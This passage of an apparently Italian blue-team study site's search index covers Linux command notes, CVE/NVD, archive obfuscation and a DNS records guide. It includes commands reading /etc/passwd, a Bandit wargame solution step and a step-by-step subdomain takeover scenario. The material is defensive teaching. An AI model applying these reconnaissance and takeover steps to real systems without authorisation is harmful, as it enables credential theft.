una chiave.\nCollegato a # incidents — categoria file — categoria crypto — categoria (spesso confusi, ma Base64 è solo crypto) strings — usato per estrarre stringhe prima della decodifica ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/base64/","section":"Comandi","summary":"Codifica e decodifica file o flussi di dati in formato testuale ASCII a 64 caratteri.","title":"Base64","type":"comandi"},{"content":" Cosa fa # Comprime file singoli usando l'algoritmo Burrows-Wheeler. È più efficiente ma più lento di gzip. Il nome sta per block-sorting zip.\nSintassi # bzip2 [opzioni] [file]\nComandi essenziali # Comando Flag Cosa fa bzip2 file.txt — Comprime in file.txt.bz2 (molto piccolo). bunzip2 file.bz2 -d (decompress) Decomprime il file .bz2. Collegato a # file — categoria gzip — confronto velocità/compressione compressione-arichivazione ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/bzip2/","section":"Comandi","summary":"Comprime file singoli usando l'algoritmo Burrows-Wheeler. È più efficiente ma più lento di gzip. Il nome sta per block-sorting zip.","title":"Bzip2","type":"comandi"},{"content":" Cosa fa # Legge uno o più file e ne stampa il contenuto sullo standard output (terminale). È il comando fondamentale per l'ispezione rapida di file di testo, password e configurazioni.\nSintassi # cat [opzioni] [file]\nComandi essenziali # Comando Flag Cosa fa cat file.txt — Stampa il contenuto a video. cat -n file.txt -n (number) Numera le righe (utile per riferimenti in report). cat -A file.txt -A (show-all) Mostra caratteri invisibili (TAB, fine riga $); fondamentale per CTF. cat f1 f2 \u0026gt; f3 — Unisce il contenuto di due file in un terzo file. Gestione Nomi File \u0026quot;Speciali\u0026quot; (Tips per Bandit) # Indispensabile quando i nomi file iniziano con trattini o contengono spazi:\nTecnica Esempio Perché si usa Percorso Relativo cat ./- Evita che il trattino sia interpretato come un flag/opzione. Doppio Trattino cat -- -file Segnala al comando che le opzioni sono finite. Virgolette cat \u0026quot;nome file\u0026quot; Protegge gli spazi dalla shell. Backslash cat nome\\ file Escaping dei caratteri speciali. Combinazioni utili (Piping) # # Legge il file e conta quante righe contiene (tramite word count) cat /etc/passwd | wc -l # Visualizza i log in tempo reale aggiungendo la numerazione tail -f /var/log/auth.log | cat -n scrivere dentro a un file # cat \u0026gt; /Users/barno/Documents/lavori/corsobitcoin/assets/css/extended.css \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; .post-cover { max-height: 300px; object-fit: cover; } EOF Scenario Reale (Blue Team) # Un analista SOC riceve un alert su una possibile modifica non autorizzata al file /etc/hosts. Utilizza cat -A /etc/hosts per verificare non solo le voci presenti, ma anche l'eventuale presenza di caratteri non stampabili o tabulazioni anomale che potrebbero nascondere redirect malevoli verso indirizzi IP di C2 (Command \u0026amp; Control).\nDove l'ho usato # bandit-00 — Lettura del file readme. bandit-02 — Lettura del file - tramite percorso relativo. Note personali # Ricorda: cat carica l'intero file in memoria. Per file di log giganti (GB), preferire less o tail per evitare il crash della sessione terminale.\nCollegato a # file — categoria (Hub) system — categoria (Hub) standard-streams — concetto (cat scrive su stdout) grep — usato spesso in pipeline per filtrare il contenuto visualizzato ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/cat/","section":"Comandi","summary":"Legge uno o più file e ne stampa il contenuto sullo standard output (terminale). È il comando fondamentale per l'ispezione rapida di file di testo, password e configurazioni.","title":"cat - concatena e visualizza file","type":"comandi"},{"content":" Cosa fa # Cambia il proprietario (owner) e/o il gruppo (group) di un file o di una directory. È essenziale per la gestione dei privilegi e degli accessi in un sistema Linux.\nSintassi # chown [utente]:[gruppo] file\nComandi essenziali # Comando Cosa fa Note Blue Team chown barno file.txt Cambia solo il proprietario in \u0026quot;barno\u0026quot;. — chown :bluegroup file.txt Cambia solo il gruppo in \u0026quot;bluegroup\u0026quot;. Notare i due punti : prima del nome. chown barno:barno file.txt Cambia sia proprietario che gruppo. Standard per allineare file a utenti specifici. chown -R barno:barno dir/ Cambia proprietario e gruppo ricorsivamente. Usato per intere strutture di directory. Rappresentazione Logica della Proprietà # Ogni file in Linux ha un'associazione univoca con un UID (User ID) e un GID (Group ID).\n-rw-r--r-- 1 barno bluegroup 1024 Mar 7 22:00 file.txt │ │ │ │ │ └─ Gruppo Proprietario (Group) │ └──────── Utente Proprietario (Owner) └─────────────────────── Permessi applicati Scenario Reale # Stai configurando un server web e hai copiato i file del sito tramite root. Se non cambi la proprietà, il servizio (che gira come utente www-data) non potrà leggerli o scriverli, causando un errore 403. Eseguirai: sudo chown -R www-data:www-data /var/www/html per ripristinare il corretto accesso.\nDove l'ho usato # progetto-lab-vm — Per assicurarsi che la cartella .ssh e le chiavi copiate appartengano all'utente corretto e non a root, altrimenti SSH negherebbe l'accesso per motivi di sicurezza. Note personali # Ricorda: Per cambiare il proprietario di un file che appartiene a root (o a un altro utente), devi quasi sempre precedere il comando con sudo. Senza privilegi di root, non puoi \u0026quot;regalare\u0026quot; file ad altri utenti.\nchmod vs chown vs chgrp — differenza # # chmod → cambia i BIT di permesso (rwx) chmod 755 file # chown → cambia il PROPRIETARIO (user e/o group) chown barno file # cambia solo owner chown barno:devteam file # cambia owner e group insieme chown :devteam file # cambia solo group (come chgrp) # chgrp → cambia solo il GROUP (shortcut storico di chown :gruppo) chgrp devteam file chgrp esiste per convenienza storica — chown :gruppo fa la stessa cosa. Oggi si usa quasi sempre chown.\nchown richiede quasi sempre sudo — solo root puo' cambiare il proprietario di un file. chmod invece funziona sui tuoi file senza privilegi elevati.\nCollegato a # system — categoria file — categoria chmod — spesso usati insieme per blindare i file e le cartelle. uid-gid-identifiers — concetto correlato (come Linux mappa i nomi). ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/chown/","section":"Comandi","summary":"Cambia il proprietario (owner) e/o il gruppo (group) di un file o di una directory. È essenziale per la gestione dei privilegi e degli accessi in un sistema Linux.","title":"Chown","type":"comandi"},{"content":" Cos'è # Tecnica di offuscamento che consiste nel comprimere un file più volte usando algoritmi diversi per nasconderne il contenuto e la firma.\nCome funziona # [ PASSWORD ] | [ GZIP ] \u0026lt;--- Strato 3 | [ BZIP2 ] \u0026lt;--- Strato 2 | [ TAR ] \u0026lt;--- Strato 1 | [ HEXDUMP ] \u0026lt;--- Rappresentazione finale Il processo di analisi richiede di procedere dall'esterno verso l'interno, identificando ogni \u0026quot;scatola\u0026quot; prima di aprirla.\nPerché è importante per Blue Team # Molti gateway di posta o firewall hanno un limite di \u0026quot;profondità\u0026quot; (recursion limit) nell'analisi degli archivi. Gli attaccanti sfruttano questo limite creando file compressi 50 volte (Zip Bomb o offuscamento) per superare i controlli senza essere scansionati.\nScenario Reale # Analisi di un archivio sospetto ricevuto via email che sembra vuoto o corrotto, ma che in realtà contiene un eseguibile nascosto sotto tre livelli di tar e gzip.\nCollegato a # file — categoria\nbandit-12 — applicazione pratica\nxxd — per gestire lo strato esadecimale\n","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/nested-compression/","section":"Concetti","summary":"Tecnica di offuscamento che consiste nel comprimere un file più volte usando algoritmi diversi per nasconderne il contenuto e la firma.","title":"Compressione Nidificata (Nested Compression)","type":"concetti"},{"content":" Cos'è # L'archiviazione raggruppa più file in uno solo (container), mentre la compressione riduce lo spazio occupato dai dati eliminando le ridondanze.\nCome funziona # L'archiviazione crea un \u0026quot;pacchetto\u0026quot;, la compressione \u0026quot;schiaccia\u0026quot; il contenuto.\nARCHIVIAZIONE (tar) COMPRESSIONE (gzip/bzip2) [File A] \\ [ FILE ORIGINALE ] [File B] --\u0026gt; [ ARCHIVIO.TAR ] || (pressa) [File C] / vv [ FILE_COMPRESSO ] Analisi Comparativa # Strumento Scopo Metafora Risultato tar 📦 Archiviazione 100 libri in una scatola. Un unico file, stessa dimensione totale. gzip ⚡ Compressione Un libro in una pressa veloce. File ridotto. Veloce e standard. bzip2 📉 Alta Compressione Una pressa lenta ma potente. File molto piccolo. Più lento. Guida Operativa # Quando si usano? # Solo tar: Per spostare intere cartelle via rete mantenendo i permessi. Solo gzip / bzip2: Per risparmiare spazio su singoli file di grandi dimensioni (es. log). Insieme (tar.gz): Lo standard Linux. tar impacchetta e gzip comprime il risultato. L'estensione è obbligatoria? # No, ma è caldamente consigliata.\nLinux usa i magic-bytes per capire la natura del file.\nTuttavia, tool come gunzip sono \u0026quot;pigri\u0026quot;: se non trovano l'estensione .gz, potrebbero rifiutarsi di lavorare perché non sanno come rinominare il file una volta estratto.\nPerché è importante per Blue Team # Molti malware vengono consegnati in archivi compressi per sfuggire ai controlli antivirus statici. Capire se un file è stato solo archiviato o anche compresso aiuta a prevedere quali risorse (CPU/tempo) serviranno per l'analisi.\nDove l'ho incontrato # bandit-12 — analisi di file \u0026quot;matrioska\u0026quot;. Collegato a # file — categoria system — categoria tar — comando gzip — comando bzip2 — comando ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/compressione-vs-archiviazione/","section":"Concetti","summary":"L'archiviazione raggruppa più file in uno solo (container), mentre la compressione riduce lo spazio occupato dai dati eliminando le ridondanze.","title":"Compressione Vs Archiviazione","type":"concetti"},{"content":" Cosa fa # Copia file e directory. Può essere usato per creare \u0026quot;cloni\u0026quot; reali o collegamenti simbolici di massa.\nSintassi # cp [opzioni] sorgente destinazione\nComandi essenziali # Comando Flag Significato flag Cosa fa cp -r -r Recursive Copia un'intera cartella e il suo contenuto. cp -s -s Symbolic link Invece di copiare i dati, crea link simbolici. cp -a -a Archive Preserva permessi, link e timestamp (copia perfetta). Combinazioni utili # # Crea una struttura di link simbolici speculare a una cartella (il tuo \u0026#34;-R\u0026#34;) cp -as /sorgente/ /destinazione/ Collegato a # file — categoria ln — alternativa per singoli file link-hard-vs-symbolic — teoria dei link ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/cp/","section":"Comandi","summary":"Copia file e directory. Può essere usato per creare 'cloni' reali o collegamenti simbolici di massa.","title":"cp - copia file e directory","type":"comandi"},{"content":" Cosa fa # Estrae sezioni (colonne) da ogni riga di un file o di un input testuale.\nSintassi # cut [opzioni] [file]\nComandi essenziali # Comando Flag Cosa fa cut -d: -f1 -d delim, -f field Estrae la prima colonna usando : come separatore cut -d' ' -f2,4 -d' ' Estrae la seconda e quarta colonna separate da spazio cut -c1-10 -c characters Estrae i primi 10 caratteri di ogni riga cut -f1-3 -f range Estrae un range di colonne dalla 1 alla 3 Combinazioni utili # # Estrae nome utente e UID dal database locale cat /etc/passwd | cut -d: -f1,3 # Estrae solo il nome del gruppo di un utente specifico da getent getent group barno | cut -d: -f1 #Esempio concreto cat /etc/group | grep -i \u0026#34;^barno\u0026#34; barno:x:1000: cut -d: -f1,3 /etc/group | grep barno barno:1000 # Bandit 22 — estrae solo l\u0026#39;hash da output di md5sum # md5sum produce: \u0026#34;hash -\u0026#34; (hash + due spazi + trattino) echo \u0026#34;I am user bandit23\u0026#34; | md5sum # output: 8ca319486bfbbc3663ea0fbe81326349 - echo \u0026#34;I am user bandit23\u0026#34; | md5sum | cut -d \u0026#39; \u0026#39; -f 1 # -d \u0026#39; \u0026#39; → d = delimiter, usa lo spazio come carattere separatore # -f 1 → f = field, prendi il primo campo (l\u0026#39;hash) # output: 8ca319486bfbbc3663ea0fbe81326349 Scenario Reale # Un SOC Analyst riceve un file CSV di log (es. esportazione da un firewall). Per isolare rapidamente solo gli indirizzi IP sorgente (colonna 2) e destinazione (colonna 5), usa cut -d, -f2,5 access.log.\nDove l'ho usato # bandit-07 — per filtrare output di file complessi bandit-22 — per filtrare output di file complessi iam — analisi utenti e gruppi Note personali # Ricorda: cut non conta da 0 come gli array in programmazione. La prima colonna è la colonna 1. Se il delimitatore non è specificato, il default è il tab (\\t).\nCollegato a # log — categoria grep — spesso usato in pipe per filtrare prima le righe e poi le colonne getent — usato per tagliare i risultati dei database di sistema ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/cut/","section":"Comandi","summary":"Estrae sezioni (colonne) da ogni riga di un file o di un input testuale.","title":"Cut","type":"comandi"},{"content":" Cos'è # CVE (Common Vulnerabilities and Exposures) è il dizionario ufficiale delle vulnerabilità informatiche. NVD (National Vulnerability Database) arricchisce ogni CVE con score di gravità, metriche tecniche e prodotti affetti.\nCome funziona # SCOPERTA VULNERABILITÀ │ ▼ MITRE assegna ID CVE-ANNO-NUMERO es. CVE-2024-29988 │ ▼ CVE Program NVD (NIST) ───────────── ────────────────────── ID univoco ID + CVSS score Descrizione base Metriche tecniche Prodotto affetto Prodotti e versioni Link patch Link exploit/patch │ │ └──────────┬───────────┘ ▼ Exploit-DB ────────── PoC e exploit pubblici per quel CVE CVSS Score — gravità # Score Severity 0.0 None 0.1 – 3.9 Low 4.0 – 6.9 Medium 7.0 – 8.9 High 9.0 – 10.0 Critical Perché è importante per Blue Team # Quando Wazuh o un altro SIEM genera un alert su un processo sospetto, il primo passo è cercare il CVE associato al software vulnerabile. CVE + NVD ti dicono quanto è grave e cosa è affetto. Exploit-DB ti dice se esiste già un exploit pubblico — se sì, la priorità di patching sale immediatamente.\nDove l'ho incontrato # search-skills — room TryHackMe Scenario Reale # Un analista riceve alert: il server espone Apache 2.4.49. Cerca su NVD apache 2.4.49 — trova CVE-2021-41773 con CVSS 9.8 Critical (path traversal + RCE). Cerca su Exploit-DB — trova exploit pubblico funzionante. Priorità: patch immediata, il sistema è a rischio critico con exploit già disponibile.\nRisorse # CVE Program NVD — National Vulnerability Database Exploit Database Collegato a # network — categoria exploit-db — archivio exploit associati ai CVE search-skills — room TryHackMe ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/cve-nvd/","section":"Concetti","summary":"CVE (Common Vulnerabilities and Exposures) è il dizionario ufficiale delle vulnerabilità informatiche. NVD (National Vulnerability Database) arricchisce ogni CVE con score di gravità, metriche tecniche e prodotti affetti.","title":"CVE e NVD - Database Vulnerabilità","type":"concetti"},{"content":" Cosa fa # Confronta due file riga per riga e mostra le differenze. Fondamentale per rilevare modifiche non autorizzate a file di configurazione o log.\nSintassi # diff [opzioni] file1 file2\nComandi essenziali # Comando Flag Significato flag Cosa fa diff file1 file2 — — Output classico con \u0026lt; e \u0026gt; diff -u file1 file2 -u unified Output unificato con contesto — più leggibile diff -r dir1 dir2 -r recursive Confronta due directory intere diff -i file1 file2 -i ignore case Ignora differenze maiuscolo/minuscolo diff -q file1 file2 -q quiet Dice solo se i file sono diversi, senza mostrare le differenze Come leggere l'output # Output classico # 42c42 ← riga 42 del file1 è Changed rispetto a riga 42 del file2 \u0026lt; riga_in_file1 ← contenuto nel primo file --- \u0026gt; riga_in_file2 ← contenuto nel secondo file Codici di modifica:\nc = changed (riga modificata) a = added (riga aggiunta) d = deleted (riga cancellata) Output unified (-u) # --- file1 ← primo file +++ file2 ← secondo file @@ -39,7 +39,7 @@ ← posizione nel file riga_contesto ← riga uguale (contesto) -riga_rimossa_da_file1 ← presente solo in file1 +riga_aggiunta_in_file2 ← presente solo in file2 riga_contesto ← riga uguale (contesto) Combinazioni utili # # Confronta file di configurazione e salva le differenze diff -u config.old config.new \u0026gt; modifiche.patch # Confronta due directory ricorsivamente diff -r /etc/backup/ /etc/ # Verifica se due file sono identici (exit code 0 = uguali) diff -q file1 file2 \u0026amp;\u0026amp; echo \u0026#34;Identici\u0026#34; || echo \u0026#34;Diversi\u0026#34; Scenario Reale # Durante un incident response, un analista confronta la versione attuale di /etc/passwd con il backup di ieri: diff -u /backup/passwd /etc/passwd. Se appare una riga con + che aggiunge un nuovo utente con UID 0 — è un backdoor. diff è uno degli strumenti più semplici ma più potenti per rilevare file integrity violations.\nDove l'ho usato # bandit-17 — trovare la riga cambiata tra passwords.old e passwords.new Note personali # Ricorda: il primo file è sempre - o \u0026lt;, il secondo è sempre + o \u0026gt;. Per trovare flag utili nel man: cerca /unified, /recursive, /ignore. In ambito Blue Team, diff su file di configurazione critici è uno dei check base durante un IR.\nCollegato a # system — categoria incidents — categoria grep — grep cerca dentro un file, diff confronta tra file file-integrity — diff è uno dei tool base per verificare integrità ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/diff/","section":"Comandi","summary":"Confronta due file riga per riga e mostra le differenze. Fondamentale per rilevare modifiche non autorizzate a file di configurazione o log.","title":"diff - confronta differenze tra due file","type":"comandi"},{"content":" Cos'è # I record DNS sono le singole \u0026quot;voci\u0026quot; nella zona DNS di un dominio. Ogni record associa un nome a un valore specifico (IP, altro nome, server di posta, testo di verifica). Quando modifichi i parametri DNS nel pannello del tuo provider, stai editando questi record.\nAnalogia — Il Condominio # Pensa al tuo dominio (esempio.com) come a un condominio. La zona DNS è la bacheca dell'ingresso con tutte le informazioni sui residenti:\n┌─────────────────────────────────────────────────┐ │ BACHECA CONDOMINIO: esempio.com │ │ │ │ A \u0026#34;Famiglia Rossi → Interno 34\u0026#34; │ │ (nome → indirizzo fisico) │ │ │ │ CNAME \u0026#34;Citofono MARIO = citofono ROSSI\u0026#34; │ │ (un soprannome che rimanda a un altro) │ │ │ │ MX \u0026#34;Posta → Cassetta piano terra, box 10\u0026#34; │ │ (dove recapitare la corrispondenza) │ │ │ │ TXT \u0026#34;Autorizzato a ricevere pacchi: DHL, UPS\u0026#34;│ │ (note di testo, regole, verifiche) │ │ │ │ NS \u0026#34;Amministratore: Studio Bianchi \u0026amp; C.\u0026#34; │ │ (chi gestisce il condominio) │ │ │ │ SRV \u0026#34;Idraulico: Mario, Tel 555-1234, int.7\u0026#34; │ │ (servizio specifico + dove trovarlo) │ └─────────────────────────────────────────────────┘ La Zona DNS — Struttura Reale # Tutti i record vivono in una zona DNS, che è essenzialmente una tabella:\n┌──────────────┬──────┬──────┬───────────────────────────┬──────────┐ │ NOME │ TTL │ TIPO │ VALORE │ PRIORITÀ │ ├──────────────┼──────┼──────┼───────────────────────────┼──────────┤ │ @ │ 3600 │ A │ 93.184.216.34 │ │ │ www │ 3600 │ CNAME│ esempio.com │ │ │ @ │ 3600 │ MX │ mail.esempio.com │ 10 │ │ @ │ 3600 │ MX │ mail-backup.esempio.com │ 20 │ │ @ │ 3600 │ TXT │ \u0026#34;v=spf1 include:...\u0026#34; │ │ │ mail │ 3600 │ A │ 93.184.216.50 │ │ │ @ │ 600 │ NS │ ns1.cloudflare.com │ │ │ @ │ 600 │ NS │ ns2.cloudflare.com │ │ │ _dmarc │ 3600 │ TXT │ \u0026#34;v=DMARC1; p=reject...\u0026#34; │ │ │ api │ 300 │ A │ 93.184.216.60 │ │ └──────────────┴──────┴──────┴───────────────────────────┴──────────┘ LEGENDA: @ = il dominio root (esempio.com senza niente davanti) www = sottodominio www.esempio.com mail = sottodominio mail.esempio.com TTL = secondi di cache (3600 = 1 ora, 300 = 5 minuti) I Record Uno per Uno # Record A (Address) # Cosa fa: Nome → Indirizzo IPv4.\nesempio.com → A → 93.184.216.34 \u0026#34;Se qualcuno cerca esempio.com, mandalo a questo IP\u0026#34; Analogia vita reale: È come il numero civico sulla porta di casa. Se qualcuno cerca \u0026quot;Casa Rossi\u0026quot;, il record A dice \u0026quot;Via Roma 15\u0026quot;. Punto, semplice, diretto.\nVariante AAAA: Identico ma per IPv6 (2606:2800:220:1:248:1893:25c8:1946). La \u0026quot;A\u0026quot; è quadruplicata perché IPv6 è 4 volte più lungo di IPv4 (128 bit vs 32 bit).\nQuando lo tocchi: Ogni volta che punti un dominio a un server (il tuo VPS, Vercel, un hosting). È il primo record che configuri in assoluto.\nRecord CNAME (Canonical Name) # Cosa fa: Alias → Nome canonico (che poi risolve via record A).\nwww.esempio.com → CNAME → esempio.com │ └──► A → 93.184.216.34 \u0026#34;www è solo un soprannome per esempio.com\u0026#34; Analogia vita reale: È come un soprannome. Tutti chiamano Giovanni \u0026quot;Gianni\u0026quot;, ma sulla carta d'identità c'è scritto Giovanni. Se cerchi \u0026quot;Gianni\u0026quot; nell'elenco telefonico, trovi un rimando: \u0026quot;Gianni → vedi Giovanni\u0026quot;. Poi sotto Giovanni trovi il numero (l'IP).\nIl vantaggio? Se Giovanni cambia numero di telefono (cambio IP), non devi aggiornare anche \u0026quot;Gianni\u0026quot; — il rimando punta sempre al nome canonico.\nRegola critica: Un CNAME non può coesistere con altri record sullo stesso nome. Il dominio root (@) non può MAI essere un CNAME, perché lì servono anche NS, MX, SOA, ecc.\nQuando lo tocchi: Servizi cloud come Vercel, Netlify, Heroku ti dicono \u0026quot;punta il tuo CNAME a cname.vercel-dns.com\u0026quot;. Così se loro cambiano IP, il tuo sito continua a funzionare senza che tu faccia nulla.\nRecord MX (Mail Exchange) # Cosa fa: Indica i server che ricevono le email per quel dominio.\nesempio.com → MX → 10 mail.esempio.com 20 mail-backup.esempio.com │ └─ PRIORITÀ: numero più basso = prova prima Analogia vita reale: Immagina di avere due cassette della posta in casa. Una è quella principale all'ingresso (priorità 10), l'altra è quella di backup nel garage (priorità 20). Il postino prova prima l'ingresso. Se è piena o bloccata, va al garage.\nAllo stesso modo, se mail.esempio.com (priorità 10) non risponde, il server mittente prova mail-backup.esempio.com (priorità 20).\nQuando lo tocchi: Quando attivi Google Workspace, Microsoft 365, o qualsiasi servizio email. Ti danno i loro server MX da inserire. Es: Google ti chiede di mettere aspmx.l.google.com con priorità 1.\nRecord TXT (Text) # Cosa fa: Campo di testo libero usato per verifiche e sicurezza email.\nAnalogia vita reale: È il cartello sulla porta del condominio. Puoi scriverci quello che vuoi: \u0026quot;Autorizzati a consegnare: solo DHL e UPS\u0026quot; (SPF), \u0026quot;Firma di autenticità del condominio\u0026quot; (DKIM), \u0026quot;Se la firma non corrisponde, rifiutate il pacco\u0026quot; (DMARC), oppure \u0026quot;Questo condominio è di proprietà del Sig. Rossi — codice verifica: ABC123\u0026quot; (Google/Cloudflare site verification).\nI tre usi fondamentali:\n1. SPF (Sender Policy Framework) esempio.com TXT \u0026#34;v=spf1 include:_spf.google.com ~all\u0026#34; Traduzione: \u0026#34;Solo i server di Google possono mandare email per conto di @esempio.com. Tutto il resto è sospetto.\u0026#34; Senza SPF → chiunque può mandare email fingendo di essere te. 2. DKIM (DomainKeys Identified Mail) selector1._domainkey.esempio.com TXT \u0026#34;v=DKIM1; k=rsa; p=MIGf...\u0026#34; Traduzione: \u0026#34;Ecco la mia chiave pubblica. Ogni email che mando ha una firma digitale. Verificala con questa chiave.\u0026#34; È come firmare ogni lettera con un sigillo di ceralacca. Chi riceve può controllare che il sigillo sia autentico. 3. DMARC (Domain-based Message Authentication) _dmarc.esempio.com TXT \u0026#34;v=DMARC1; p=reject; rua=mailto:report@esempio.com\u0026#34; Traduzione: \u0026#34;Se un\u0026#39;email da @esempio.com non passa SPF E non passa DKIM → RIFIUTALA. E mandami un report di chi ha provato.\u0026#34; È il buttafuori definitivo: \u0026#34;Senza documenti validi, non entri.\u0026#34; FLUSSO EMAIL CON SPF + DKIM + DMARC: [Tu mandi email] ──► [Server Google] ──► [Server destinatario] │ 1. Controlla SPF \u0026#34;Questo server è autorizzato a mandare per @esempio.com?\u0026#34; │ 2. Controlla DKIM \u0026#34;La firma digitale è valida?\u0026#34; │ 3. Controlla DMARC \u0026#34;Se SPF o DKIM falliscono, cosa faccio? (reject/quarantine/none)\u0026#34; │ ✓ Tutto OK → Inbox ✗ Fallito → Spam / Rifiutato Quando lo tocchi:\nConfiguri Google Workspace / Microsoft 365 → ti chiedono record TXT per SPF e DKIM Verifichi proprietà dominio su Google Search Console, Cloudflare, ecc. → record TXT con codice Le email del tuo n8n finiscono in spam → quasi certamente manca SPF o DKIM Record NS (Nameserver) # Cosa fa: Dichiara chi è l'autorità per questa zona DNS.\nesempio.com → NS → ns1.cloudflare.com ns2.cloudflare.com Analogia vita reale: È come il cartello dello studio notarile che gestisce il condominio. Se qualcuno vuole informazioni sugli appartamenti (record), deve andare dal notaio (nameserver). Il notaio ha l'elenco completo di chi vive dove.\nQuando compri un dominio su Namecheap ma usi Cloudflare per il DNS, quello che fai è dire al registrar: \u0026quot;Il notaio per questo condominio non sei più tu, è Cloudflare.\u0026quot; Cambi i record NS.\nSempre almeno 2: Per ridondanza. Se ns1 va giù, ns2 risponde. Se entrambi vanno giù, il tuo dominio sparisce da internet finché non tornano.\nRecord SRV (Service) # Cosa fa: Indica dove gira un servizio specifico, su quale host e porta.\n_sip._tcp.esempio.com SRV 10 5 5060 sip.esempio.com │ │ │ │ │ │ │ └─ Host del servizio │ │ └─ Porta │ └─ Peso (load balancing tra stessa priorità) └─ Priorità (come MX) Analogia vita reale: L'MX è il cartello \u0026quot;Posta → Cassetta piano terra\u0026quot;. L'SRV è più specifico, tipo la pagina gialle del condominio: \u0026quot;Idraulico → Mario Bianchi, interno 7, telefono 555-1234\u0026quot;. Non solo chi, ma anche dove e come contattarlo.\nQuando lo tocchi: Meno frequente. Usato per VoIP (SIP), servizi Microsoft (Teams, Skype for Business), e discovery di servizi in infrastrutture complesse.\nRecord SOA (Start of Authority) # Cosa fa: Metadati della zona: chi è il DNS admin, numero di serie della zona, frequenza di refresh.\nesempio.com SOA ns1.cloudflare.com admin.esempio.com ( 2024031501 ; Serial (cambia a ogni modifica) 7200 ; Refresh (secondi tra check slave→master) 3600 ; Retry (se refresh fallisce) 1209600 ; Expire (dopo quanto lo slave smette) 86400 ; Minimum TTL ) Analogia vita reale: È il verbale di assemblea condominiale: data dell'ultimo aggiornamento, chi è l'amministratore, ogni quanto si riuniscono. Non lo leggi mai direttamente, ma senza di esso il condominio non funziona legalmente.\nRecord PTR (Pointer) # Cosa fa: Il contrario del record A: da IP → nome. Reverse DNS.\nRecord A: esempio.com → 93.184.216.34 Record PTR: 93.184.216.34 → esempio.com (il PTR vive nella zona speciale \u0026#34;in-addr.arpa\u0026#34;) 34.216.184.93.in-addr.arpa PTR esempio.com Analogia vita reale: Il record A è l'elenco telefonico classico: cerchi \u0026quot;Rossi\u0026quot; → trovi il numero. Il record PTR è il chi-mi-ha-chiamato: hai un numero, vuoi sapere chi è. È l'identificativo del chiamante.\nQuando serve: I server di posta controllano il PTR dell'IP mittente. Se il tuo server manda email dall'IP 1.2.3.4 ma il PTR di quell'IP non punta al tuo dominio, l'email viene rifiutata o finisce in spam. È un controllo anti-spoofing: \u0026quot;L'IP dice di essere esempio.com, ma il reverse DNS conferma?\u0026quot;\nRecord CAA (Certification Authority Authorization) # Cosa fa: Specifica quali autorità di certificazione (CA) possono emettere certificati HTTPS per il tuo dominio.\nesempio.com CAA 0 issue \u0026#34;letsencrypt.org\u0026#34; \u0026#34;Solo Let\u0026#39;s Encrypt può creare certificati per esempio.com\u0026#34; Analogia vita reale: È come dire \u0026quot;Solo il Notaio Bianchi può emettere atti per questo immobile\u0026quot;. Se un altro notaio (CA) prova a emettere un certificato, il sistema lo blocca.\nMappa Riassuntiva # ┌─────────────────────────────────────────────────────────────────┐ │ MAPPA RECORD DNS │ │ │ │ NAVIGAZIONE WEB │ │ A nome → IPv4 \u0026#34;Dove vive il sito?\u0026#34; │ │ AAAA nome → IPv6 \u0026#34;Stesso, ma IPv6\u0026#34; │ │ CNAME alias → nome canonico \u0026#34;Soprannome che rimbalza\u0026#34; │ │ │ │ EMAIL │ │ MX dominio → mail server \u0026#34;Dove vanno le email?\u0026#34; │ │ TXT SPF/DKIM/DMARC \u0026#34;Chi può mandare email?\u0026#34; │ │ PTR IP → nome (reverse) \u0026#34;Chi sei davvero?\u0026#34; │ │ │ │ INFRASTRUTTURA │ │ NS dominio → nameserver \u0026#34;Chi è l\u0026#39;autorità?\u0026#34; │ │ SOA metadati zona \u0026#34;Info sul gestore\u0026#34; │ │ SRV servizio → host:porta \u0026#34;Dove gira il servizio X?\u0026#34; │ │ │ │ SICUREZZA / VERIFICA │ │ TXT verifica proprietà \u0026#34;Questo dominio è mio\u0026#34; │ │ CAA autorità certificati \u0026#34;Chi può emettere HTTPS?\u0026#34; │ └─────────────────────────────────────────────────────────────────┘ Scenario Reale — Email Spoofing (senza SPF/DKIM) # Sei un analista SOC. Il CEO riceve un'email da hr@azienda.com che dice \u0026quot;Clicca qui per aggiornare la tua busta paga\u0026quot;. Ma nessuno in HR l'ha mandata.\nControlli gli header dell'email → l'IP mittente è 185.x.x.x (non è il server aziendale) Controlli i record DNS di azienda.com → nessun record SPF, nessun DKIM Senza SPF, qualsiasi server al mondo può mandare email \u0026quot;da\u0026quot; @azienda.com L'attaccante ha semplicemente configurato il campo \u0026quot;From:\u0026quot; con l'indirizzo aziendale Remediation: aggiungi immediatamente record TXT per SPF, configura DKIM, attiva DMARC con p=reject Questo è uno degli attacchi più comuni e più facili da prevenire. Basta configurare tre record TXT.\nScenario Reale — Subdomain Takeover (CNAME pendente) # L'azienda aveva un blog su Heroku: blog.azienda.com → CNAME → quiet-lake-1234.herokuapp.com. Il progetto viene abbandonato, l'app Heroku viene cancellata, ma nessuno rimuove il record CNAME.\nUn attaccante fa dig blog.azienda.com → vede il CNAME verso Heroku Crea un'app su Heroku con lo stesso hostname quiet-lake-1234.herokuapp.com Ora blog.azienda.com punta al sito dell'attaccante L'attaccante mette un clone della pagina di login aziendale → credential theft Lezione: I CNAME verso servizi esterni vanno monitorati. Se il servizio viene dismesso, il record CNAME va rimosso immediatamente.\nComandi di Diagnostica # # Interroga un record A dig esempio.com A # Interroga record MX dig esempio.com MX # Interroga record TXT (per vedere SPF/DKIM) dig esempio.com TXT # Interroga i nameserver dig esempio.com NS # Segui tutta la catena di risoluzione dig esempio.com +trace # Reverse DNS (da IP a nome) dig -x 93.184.216.34 # Query rapida (solo risposta) dig +short esempio.com A # Usa un DNS specifico (es. Google) dig @8.8.8.8 esempio.com A Note personali # Wizard Tip 1: Quando le email finiscono in spam, il 90% delle volte è un problema di record TXT mancanti (SPF, DKIM, DMARC). Parti sempre da dig tuodominio.com TXT per diagnosticare.\nWizard Tip 2: Il simbolo @ nei pannelli DNS significa \u0026quot;il dominio root senza sottodominio\u0026quot;. @ con tipo A e valore 1.2.3.4 